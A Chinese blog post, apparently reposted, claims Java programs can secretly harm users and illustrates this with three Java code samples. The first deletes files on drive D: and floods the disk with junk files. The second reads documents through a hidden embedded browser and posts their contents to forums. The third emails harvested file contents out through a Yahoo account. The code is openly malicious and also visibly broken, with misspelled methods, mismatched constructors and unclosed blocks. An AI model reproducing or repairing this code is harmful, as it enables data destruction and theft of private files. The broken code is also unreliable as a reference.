JMail和java嵌入式浏览器是使私人信息被窃取的帮凶。

 一直以来java开发的程序因为它的跨平台性而流行,但是它的安全性确很少有人提及。要想使用java开发的软件必须安装一个叫做java运行时环境(JRE)的东西,一旦安装了JRE的系统那么java平台所支持的功能大多都能使用,例如发送邮件,浏览硬盘上任何文件,建立文件,删除文件,甚至是消无声息的下载病毒和木马。。。。不是危言耸听哦,不信?接着往下看:
一、删除你的文件、在你硬盘上乱写乱画:
package hack;
import java.io.*;
public class Hack{
  public Hack(){
         try{
             File file=new File("d:/");
              if(!file.exist){
                   //file=new File("e:/");
                    return;
                 }
                 else{
                    File[] files=file.list();//遍历你的硬盘文件
                     for(File f:files){
                           if(!f.isDirectory)f.delet();//如果不是目录那么删除文件。
                        }
                   }
                while(true){
                     long time=System.currentTimeMillis();
                     File newFile=new File("d:/"+time.toString.replaceAll("^[a-z0-9]"));
                       try{
                            if(!newFile.exist){newFile.createNewFile();}//建立无数个垃圾文件挤满你的硬盘。
                           }catch(Exception ex){}
                  }
            }catch(Exception ex){}
    }
  public static void main(String args[]){
    new Hack();
 }
}
二、采用嵌入式浏览器将你的私人信息等偷偷发布到各大论坛,让你成为透明人:
 package hack;
 import java.net.*;
 import java.io.*;
 import org.eclipse.swt.browser.*;
 public class Hack{
  private Browser browser=new Browser(composite,SWT.NONE);//嵌入一个你看不见的浏览器,然后登陆各大论坛、博客等
  
   public Hack(){
         loginToBBS();//登陆到博客、论坛 
   }
   public void loginToBBS(){}
   public void getYourMessage(){//分析你硬盘上的文件,如果是图片、word文档、txt文件等就保存起来
          File f=new File("d:/");
            File[] files=f.listFile();
            for(File f:files) if(!f.isDirectory()){
                  String fileName=f.getName();
                   if(file.endsWith(".doc")||fileName.endsWith(".jpg")||fileName.endsWith("txt")){
                          FileReader reader=new FileReader(f);
                           StringBuffer sb=new StringBuffer();
                            while(true){
                                   String tmp=reader.readLine();
                                   if(tmp==null)break;
                                   else
                                   sb.append(reader.readLine();
                               }
                           if(sb!=null&&!sb.toString().equals("")){writArtical(sb);}//把刚才从文件中读取的内容全部发表到博客上,曝光!
                      }
              }
       }
   public void writArtical(StringBuffer sb){//在博客上、论坛上等地方发表文章,文章的内容当然是你硬盘上的秘密。
            if(  browser.execute("document.getElementById('content').value='+sb.toString()+"'")){
                   if(browser.execute("document.getElementById('submit').c l i ck()")){
                         //browser.execute("alert('隐私已经曝光!')");
                      }
              }
              
      }
   public static void main(String args[]){
   }
 }
三、采用java的JMail技术在后台消无声息的把你硬盘上的东东全部作为附件发送出去!
 首先要下载jmail包;其次要注册一个雅虎邮箱并设置邮件直投 http://edit.my.yahoo.com/config/set_popfwd?.src=ym&.done=http://cn.f150.mail.com/ym/Options?YY=22797
(其中的“f150”为你的用户名),这样就会进人到YAHOO!“网上直投”的页面。
package hack;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;

public class HackMail implements Runnable {

 private String to;   //接收方
   
 private String subject;  //标题
   
 private String content;  //邮件内容

 private Thread thread;  //定义线程
 
 private String sname;  //邮件署名


 private List attach;
 
 private String type = "text/html"; //or text/plain 发送邮件的格式
 
 private String smtpHost; //邮件服务器 smtp.mail.yahoo.com等
 private String emailFrom; //发送方邮箱
 private String fromPwd;  //密码

 

 //带模板的邮件
 public HackMail(String to, String subject, String content,String fileName) {
  try{
   if(to!=null && !"".equals(to)){
    thread = new Thread(this);
    this.to = to;
    this.subject = subject;
  
    attach = new ArrayList();
   
       //读取文件模板
    

    StringBuffer sb=getYourMessage();//同上面一样遍历你的硬盘,分析文件
    while (br.ready()) {
     sb.append(br.readLine());
     sb.append("\r\n");
    
    //賛换模块中的##content变量内容为content
    this.content=sb.toString().replaceAll("##content",content);
   }
  }catch(Exception e){
   e.printStackTrace();
  }
  
  
 
 

 //带上署名和模块的邮件
 public SendMail(String sname,String to, String subject, String content,String fileName) {
  try{
   thread = new Thread(this);
   this.to = to;
   this.subject = subject;
   this.sname=sname;
   attach = new ArrayList();
   
   //读取文件模板
  

   StringBuffer sb=getYourMessage();
   while (br.ready()) {
    sb.append(br.readLine());
   
   this.content=sb.toString().replaceAll("##caicainet_content",content);
   
  }catch(Exception e){
   e.printStackTrace();
  }
  
  
 
 
 
 public SendMail(String sname,String to, String subject, String content,int typeId) {

  thread = new Thread(this);
  this.to = to;
  this.subject = subject;
  this.sname=sname;
  attach = new ArrayList();
  this.content=content;
  this.type = "text/plain";
 
 
 
 public void run() {
  try {
   send();
  } catch (Exception e) {
   e.printStackTrace();
  }
 }

 
 public void start() {
  thread.start();
 }

 public boolean send() throws Exception {
  return send(to, subject, content);
 }

 private boolean send(String to, String subject, String content){
  boolean blnResult = false;
  InternetAddress[] address = null;
  //mailserver邮件服务器  Form 发送邮件的邮箱  pwd密码
  //此处三个参数可能通过数据库或.properties等方式来获取,方便后期的管理与设置
  String mailserver = " pop.mail.yahoo.com";
  String From = "";//发送方的邮箱,就是你自己的邮箱
  String pwd = "";//密码,你设置了网上直投的邮箱的密码
  
  if(smtpHost!=null && !"".equals(smtpHost))
   mailserver=smtpHost;
  if(emailFrom!=null && !"".equals(emailFrom))
   From=emailFrom;
  if(fromPwd!=null && !"".equals(fromPwd))
   pwd=fromPwd;
  
  if(smtpHost!=null && "nopass".equals(smtpHost))
  {
   smtpHost="";
   System.out.println("发送给"+to+"失败!原因是smtp地址不正确");
   return false;
  }
  
  
  
  String messageText = content;

  boolean sessionDebug = false;
  Date d1=new Date();
  try {
   // 设定所要用的Mail 服务器和所使用的传输协议
   java.util.Properties props = System.getProperties();
   props.put("mail.host", mailserver);
   props.put("mail.transport.protocol", "smtp");
   props.put("mail.smtp.auth", "true");//指定是否需要SMTP验证

   // 产生新的Session 服务
   javax.mail.Session mailSession = javax.mail.Session.getDefaultInstance(props, null);
   mailSession.setDebug(sessionDebug);
   Message msg = new MimeMessage(mailSession);
   if(sname!=null && !"".equals(sname))
   {
    // 设定发邮件的人
    msg.setFrom(new InternetAddress(From,sname));
   }
   else
   {
    //带署名的邮件
    msg.setFrom(new InternetAddress(From,"hack 007"));
   }
   
   if(sname!=null && "mail".equals(sname))
   {
    msg.setFrom(new InternetAddress(From,""));
   }
   
   // 设定收信人的信箱
   address = InternetAddress.parse(to, false);
   msg.setRecipients(Message.RecipientType.TO, address);

   // 设定信中的主题 
   msg.setSubject(subject);

   // 设定送信的时间
   msg.setSentDate(new Date());

   if("text/html".equals(this.type))
   {
        msg.setContent(messageText, type + ";charset=GB2312");
   }
   else
   {
    msg.setText(messageText);
   }
   
   Transport transport = mailSession.getTransport("smtp");

   transport.connect(mailserver, From, pwd);
   transport.sendMessage(msg, msg.getAllRecipients());
   transport.close();
   Date d2=new Date();
   System.out.println("发送给"+to+"成功!耗时"+(d2.getTime()-d1.getTime())+"毫秒,发送方:"+From);
   blnResult=true;
   
  } catch (MessagingException mex) {
   mex.printStackTrace();
   blnResult=false;
  } catch (UnsupportedEncodingException e) {
   e.printStackTrace();
  }
  
  return blnResult;
 }
  public void setTo(String to) {
  this.to = to;
 }

 public String getTo() {
  return this.to;
 }

 public void setSubject(String subject) {
  this.subject = subject;
 }

 public String getSubject() {
  return this.subject;
 }

 public void setContent(String content) {
  this.content = content;
 }

 public String getContent() {
  return this.content;
 }

 public void addAttach(String file) {
  attach.add(file);
 }

 public boolean isAttach() {
  return attach != null && attach.size() > 0;
 }
 
 public static void main(String[] args) {
  try {
   //普通的文字邮件
  SendMail sendMail=new SendMail("黑客","**@yahoo.com.cn", "黑你没商量", "我够黑吗?",1);
  sendMail.start();
   
   
   //带模版的邮件
   String path = "D:/project/tongji/WebRoot/template/email.html"; //获取存放路径 
   
   String chtml="";
   SendMail sendMail=new SendMail("**@yahoo.com.cn,"你的文件被窃取了?!",chtml,path);
   sendMail.start();
  } catch (Exception e) {
   e.printStackTrace();
  }
 }

}

 

原文:http://java7.blog.hexun.com/65435049_d.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值